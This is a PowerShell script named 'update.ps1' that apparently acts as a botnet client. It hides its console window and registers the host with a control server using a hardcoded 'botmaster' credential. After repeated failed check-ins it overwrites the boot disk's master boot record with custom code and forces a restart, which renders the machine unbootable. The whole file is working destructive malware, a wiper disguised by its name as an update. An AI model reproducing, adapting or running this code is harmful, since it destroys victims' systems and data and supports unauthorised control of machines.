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update.ps1
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update.ps1
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$t = '[DllImport("user32.dll")] public static extern bool ShowWindow(int handle, int state);'
add-type -name win -member $t -namespace native
[native.win]::ShowWindow(([System.Diagnostics.Process]::GetCurrentProcess() | Get-Process).MainWindowHandle, 0)
$Serverip="192.168.1.130"
$filename = "C:\count.txt"
$count = Get-Content $filename -First 1
$count = [convert]::ToInt32($count, 10)
#pings master if fails count is incremented and saved
#if count execceds 4 the MFT is overwritten
$compName = $env:COMPUTERNAME
$pwn = "password"
$spwd = ConvertTo-SecureString -AsPlainText $pwn -Force
$cred = New-Object -TypeName System.Management.Automation.PSCredential -argumentlist "botmaster",$spwd
$myip = $(ipconfig | where {$_ -match 'IPv4.+\s(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' } | out-null; $Matches[1])
if(Test-Connection($Serverip) -Quiet ){
Invoke-Command $Serverip -ScriptBlock{
param($myip,$compName)
If(!(Select-String -Pattern $myip -Path 'C:\Program Files\botlist.csv' -Quiet)){
Add-Content 'C:\Program Files\botlist.csv' -Value "$myip,$compName,0"}
} -Credential $cred -ArgumentList $myip,$compName
$count=0
Set-Content -Path $filename -Value $count
}else{
$count++
if($count -le 4){
Set-Content -Path $filename -Value $count
}else{
$BootMessage = `'Bot Failed to connect, bot terminated`'
if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{
throw 'This script must be executed from an elevated command prompt.'
}
#region define P/Invoke types dynamically
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False)
$TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class')
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
$SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')
$SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,
@('kernel32.dll'),
[Reflection.FieldInfo[]]@($SetLastError),
@($True))
# Define [Win32.Kernel32]::DeviceIoControl
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CreateFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[IntPtr],
[Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::WriteFile
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
# Define [Win32.Kernel32]::CloseHandle
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle',
'kernel32.dll',
([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),
[Reflection.CallingConventions]::Standard,
[Bool],
[Type[]]@([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute)
$Kernel32 = $TypeBuilder.CreateType()
#endregion
$LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5)))
# Convert the boot message to a byte array
$MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage))
[Byte[]] $MBRInfectionCode = @(
0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode
0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color
0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color
0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20
0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length
0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters
0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White
0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0
0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string
0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer
) + $MessageBytes
$MBRSize = [UInt32] 512
if ($MBRInfectionCode.Length -gt ($MBRSize - 2))
{
throw `"The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes.`"
}
# Allocate 512 bytes for the MBR
$MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize)
# Zero-initialize the allocated unmanaged memory
0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) }
[Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length)
# Write boot record signature to the end of the MBR
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55)
[Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA)
# Get the device ID of the boot disk
$DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID
$GENERIC_READWRITE = 0x80000000 -bor 0x40000000
$FILE_SHARE_READWRITE = 2 -bor 1
$OPEN_EXISTING = 3
# Obtain a read handle to the raw disk
$DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0)
if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF))
{
throw `"Unable to obtain read/write handle to $DeviceID`"
}
$BytesReturned = [UInt32] 0
$BytesWritten = [UInt32] 0
$FSCTL_LOCK_VOLUME = 0x00090018
$FSCTL_UNLOCK_VOLUME = 0x0009001C
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0)
$null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0)
$null = $Kernel32::CloseHandle($DriveHandle)
Start-Sleep -Seconds 2
[Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes)
Write-Verbose 'Master boot record overwritten successfully.'
Restart-Computer -Force
}
}